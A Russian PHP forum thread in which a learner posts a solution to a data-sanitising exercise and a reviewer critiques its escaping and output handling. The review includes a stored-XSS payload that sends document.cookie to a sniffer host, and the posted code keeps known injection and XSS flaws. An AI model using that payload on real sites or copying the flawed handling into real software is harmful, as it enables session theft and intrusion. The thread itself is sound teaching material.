[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: решение "Задачи на корректную обработку данных"
Lenarfate
вот, тоже решил попробывать smile.gif
Условия задачи здесь.

config.php
Свернутый текст


<?php

define('SERVER', 'localhost');
define('DATABASE', 'names');
define('USER', 'root');
define('PASSWORD', '');

mysql_connect(SERVER, USER, PASSWORD) or die(mysql_error());

mysql_select_db(DATABASE) or die(mysql_error());

mysql_query("SET NAMES utf8");
mysql_query("SET CHARACTER SET utf8");
mysql_query("SET COLLATION_CONNECTION='utf8_general_ci'");



.htaccess
Свернутый текст

AddDefaultCharset UTF-8

php_flag register_globals off
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off



controller.php
Свернутый текст

<?php

//vars
$_POST = chars($_POST);
$_GET = chars($_GET);

$login = !empty($_POST['login']) ? $_POST['login'] : null;
$word = !empty($_GET['word']) ? $_GET['word'] : null;
$id = !empty($_GET['id']) ? (int)$_GET['id'] : null;
$ok = isset($_POST['ok']) ? true : false;
$search = isset($_GET['search']) ? true : false;
//////////////////////

//functions
function clearData($data)
{
if(is_array($data))
$data = array_map('clearData', $data);
else
$data = mysql_real_escape_string($data);

return $data;
}

function slashes($data)
{
if(is_array($data))
$data = array_map('slashes', $data);
else
$data = stripslashes($data);

return $data;
}

if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}

function chars($data)
{
if(is_array($data))
$data = array_map('chars', $data);
else
$data = htmlspecialchars($data);

return $data;
}
//////////////////////

//add to base
if($ok)
{
if(empty($login) || $login == ' ')
print '<b style="color:red">введите имя</b><hr />';
else
{
mysql_query("INSERT INTO `names`
SET `name` = '"
. clearData($login) ."'");

header('location: '. $_SERVER['PHP_SELF']);
exit();
}
}

//////////////////////

//search in base
if($search)
{
if(empty($word))
print '<b style="color:red">вы не ввели слово для поиска</b><hr />';
else
{
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%"
. addcslashes($word, '%\\\'') ."%'");

if(mysql_num_rows($res) > 0)
{
print '<b>Результаты поиска:</b><br />';

while($row = mysql_fetch_assoc($res))
print '<span style="color:blue">'. $row['name'] .'</span><br />';

print '<hr />';
}
else
print '<b style="color:red">поиск не дал результатов</b><hr />';
}
}

//////////////////////

//output register date of user
if($id)
{
$res = mysql_query("SELECT * FROM `names`
WHERE `id` = "
. $id);

if(mysql_num_rows($res) > 0)
{
while($row = mysql_fetch_assoc($res))
print '<div style="font-style:italic">юзер <b>'. $row['name'] .
'</b> зарегистрировался <b style="color:gray">'.
$row['date'] .'</b></div><br />';

print '<hr />';
}
}

//////////////////////

//select from base
$res = mysql_query("SELECT * FROM `names`
ORDER BY `id` DESC"
);

if(mysql_num_rows($res) > 0)
{
while($row = mysql_fetch_assoc($res))
print '<a href="?id='. $row['id'] .'">'. $row['name'] .'</a><br />';
}
else
print 'записей еще нет<hr />';
//////////////////////


index.php
Свернутый текст

<?php

header('Content-type:text/html; charset="utf-8"');
error_reporting(E_ALL & E_STRICT);

include './config.php';
include './controller.php';
?>

<br /><br />
<
form method="post" action="">
регистрация<br />
<
input type="text" name="login" value="" /><br />
<
input type="submit" name="ok" value="Зарегистрироваться" />
</
form>

<
br />
<
form action="" method="get">
поиск<br />
<
input type="text" name="word" value="<?php print $word; ?>" /><br />
<
input type="submit" name="search" value="искать" />
</
form>




Спустя 16 часов, 38 минут, 49 секунд (9.08.2010 - 05:58) twin написал(а):
Так, ну что сказать. Красиво написано, стиль на уровне профессионального.
А вот с функционалом не так все гладко. Вернее не гладко вообще.

С первой же строчки - ошибка. Ну с какого перепуга входные данные обрабатываются htmlspecialchars()?
Сто раз же говорено - эта функция для обработки данных непосредственно перед выдачей их в поток. Никак не раньше. Во избежании несовместимостей и в целях безопасности в базе должны храниться исходные данные, а не искаженные. Если я проникну в базу окольными путями и напишу туда что то типа
<script>location.href='http://sniffer.ch?cook='+document.cookie()</script>

будет пипец.

Следом у тебя идет инициализация. То есть ты данные из массивов $_POST и $_GET вынимаешь в простые переменные. И только потом! обрабатываешь эти массивы на предмет магических кавычек.

    if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}


Во первых для чего? Эти массивы больше нигде не используются.
Во вторых, для чего еще раз экранировать, если директива magic_quotes включена? А ведь это проверяется в твоем условии.

А чтобы убедиться - поставь в .htaccess
php_flag magic_quotes_gpc on
php_flag magic_quotes_runtime on

и попробуй зарегать O'Relly

Вот в этом месте
            $res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%"
. addcslashes($word, '%\\\'') ."%'");

зачем то экранируешь (да еще на несколько раз) апостроф, а вот про нижнее подчеркивание позабыл. Или не знал. Сунь его в поиск и приятно удивишься.

То же самое с бэкслэшем. Я же не зря дал тестовые имена. Попорбуй посмотреть, как скрипт будет себя вести с таким именем \ bacslashes \

Теперь более мелкие ошибки и рекомендации.
Вот сюда
            header('location: '. $_SERVER['PHP_SELF']);

по RFC требуется полный путь, вместе с протоколом.

Не знаю кто как, но лично я на это
        $res = mysql_query("SELECT * FROM `names`
WHERE `id` = "
. $id
);

сделал стойку. И только потом догадался, что ты (int) поставил на входе. Дорога ложка к обеду, обрабатывать нужно по месту.

Ну пожалуй и все. В общем и целом работа очень неплохая, но чувствуется, что ты не совсем понимаешь механизмы. И тычешь все наугад.
Делай работу над ошибками - придет просветление. smile.gif

Спустя 2 часа, 2 минуты, 29 секунд (9.08.2010 - 08:01) Lenarfate написал(а):
Цитата
зачем то экранируешь (да еще на несколько раз) апостроф

А иначе в поиске не находит ничего с апострофом. поэтому его оставил)) а так вот, переписал

Свернутый текст

<?php

//vars
if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}

$login = !empty($_POST['login']) ? $_POST['login'] : null;
$word = !empty($_GET['word']) ? $_GET['word'] : null;
$id = !empty($_GET['id']) ? $_GET['id'] : null;
$ok = isset($_POST['ok']) ? true : false;
$search = isset($_GET['search']) ? true : false;
//////////////////////

//functions
function clearData($data)
{
if(is_array($data))
$data = array_map('clearData', $data);
else
$data = mysql_real_escape_string($data);

return $data;
}

function slashes($data)
{
if(is_array($data))
$data = array_map('slashes', $data);
else
$data = stripslashes($data);

return $data;
}

function chars($data)
{
if(is_array($data))
$data = array_map('chars', $data);
else
$data = htmlspecialchars($data);

return $data;
}
//////////////////////

//add to base
if($ok)
{
if(empty($login) || $login == ' ')
print '<b style="color:red">введите имя</b><hr />';
else
{
mysql_query("INSERT INTO `names`
SET `name` = '"
. clearData($login) ."'");

header('location: http://'. $_SERVER['HTTP_HOST']);
exit();
}
}

//////////////////////

//search in base
if($search)
{
if(empty($word))
print '<b style="color:red">вы не ввели слово для поиска</b><hr />';
else
{
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%"
. addcslashes($word, '%\\\'_') ."%'");

if(mysql_num_rows($res) > 0)
{
print '<b>Результаты поиска:</b><br />';

while($row = chars(mysql_fetch_assoc($res)))
print '<span style="color:blue">'. $row['name'] .'</span><br />';

print '<hr />';
}
else
print '<b style="color:red">поиск не дал результатов</b><hr />';
}
}

//////////////////////

//output register date of user
if($id)
{
$res = mysql_query("SELECT * FROM `names`
WHERE `id` = "
. (int)$id);

if(mysql_num_rows($res) > 0)
{
while($row = chars(mysql_fetch_assoc($res)))
print '<div style="font-style:italic">юзер <b>'. $row['name'] .
'</b> зарегистрировался <b style="color:gray">'.
$row['date'] .'</b></div><br />';

print '<hr />';
}
}

//////////////////////

//select from base
$res = mysql_query("SELECT * FROM `names`
ORDER BY `id` DESC"
);

if(mysql_num_rows($res) > 0)
{
while($row = chars(mysql_fetch_assoc($res)))
print '<a href="?id='. $row['id'] .'">'. $row['name'] .'</a><br />';
}
else
print 'записей еще нет<hr />';
//////////////////////

Спустя 14 минут, 4 секунды (9.08.2010 - 08:15) Michael написал(а):
Ты лучше на хостинг себе поставь. Сразу все проблемы вылезут. А то так теоретически, по коду, не интересно.

Спустя 21 минута, 24 секунды (9.08.2010 - 08:36) twin написал(а):
Ну вот так получше. smile.gif
С апострофом у тебя проблема, потому что ты не обрабатываешь данные штатной функцией. По этому и приходится руками.

Но с бэкслэшем бок остался и появились проблемы XSS.

Поле поиска теперь уязвимо.

Спустя 13 минут, 21 секунда (9.08.2010 - 08:49) twin написал(а):
Да, упустил. Попробуй проговорить своими словами вот этот алгоритм:
    if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}

Спустя 7 минут, 54 секунды (9.08.2010 - 08:57) Lenarfate написал(а):
если включен magic_quotes, обрабатываем пост и гет функцией slashes()

а с полем поиска так
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%"
. clearData(addcslashes($word, '%\\_')) ."%'");

Спустя 1 час, 12 минут, 19 секунд (9.08.2010 - 10:10) twin написал(а):
Цитата
если включен magic_quotes, обрабатываем пост и гет функцией slashes()
Просто название функции slashes() говорит об обратном. Такое впечатление, что ты наоборот еще раз экранируешь. Это не гут, давать противоестественные названия. Хуже, чем вообще неговорящие.

Ну и последний штрих - в форму нужно возвращать обработанные данные. Ну а в целом справился. Поздравляю. smile.gif

Спустя 25 минут, 35 секунд (9.08.2010 - 10:35) Lenarfate написал(а):
user posted image
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.